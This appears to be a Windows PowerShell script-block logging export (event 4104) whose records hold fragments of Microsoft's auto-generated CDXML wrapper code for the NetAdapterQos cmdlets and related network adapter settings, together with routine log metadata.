$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterQos.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterQos' -Alias '*'
function Disable-NetAdapterQos
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterQosSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterQos.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterQos' -Alias '*'
ScriptBlock ID: ea135500-64a8-4735-b474-cfb23c37ac27
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1933 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-9dfe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 2):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterQosSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterQos
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterQosSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterQos.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterQos' -Alias '*'
function Set-NetAdapterQos
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterQosSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterQosSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='InputObject (cdxml)', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Enabled')) {
[object]$__cmdletization_value = ${Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterQos.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterQos' -Alias '*'
function Enable-NetAdapterQos
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterQosSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
ScriptBlock ID: ea135500-64a8-4735-b474-cfb23c37ac27
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1932 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-9dfe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ArpOffload')) {
[object]$__cmdletization_value = ${ArpOffload}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ArpOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ArpOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('D0PacketCoalescing')) {
[object]$__cmdletization_value = ${D0PacketCoalescing}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'D0PacketCoalescing'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'D0PacketCoalescing'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DeviceSleepOnDisconnect')) {
[object]$__cmdletization_value = ${DeviceSleepOnDisconnect}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DeviceSleepOnDisconnect'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DeviceSleepOnDisconnect'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NSOffload')) {
[object]$__cmdletization_value = ${NSOffload}
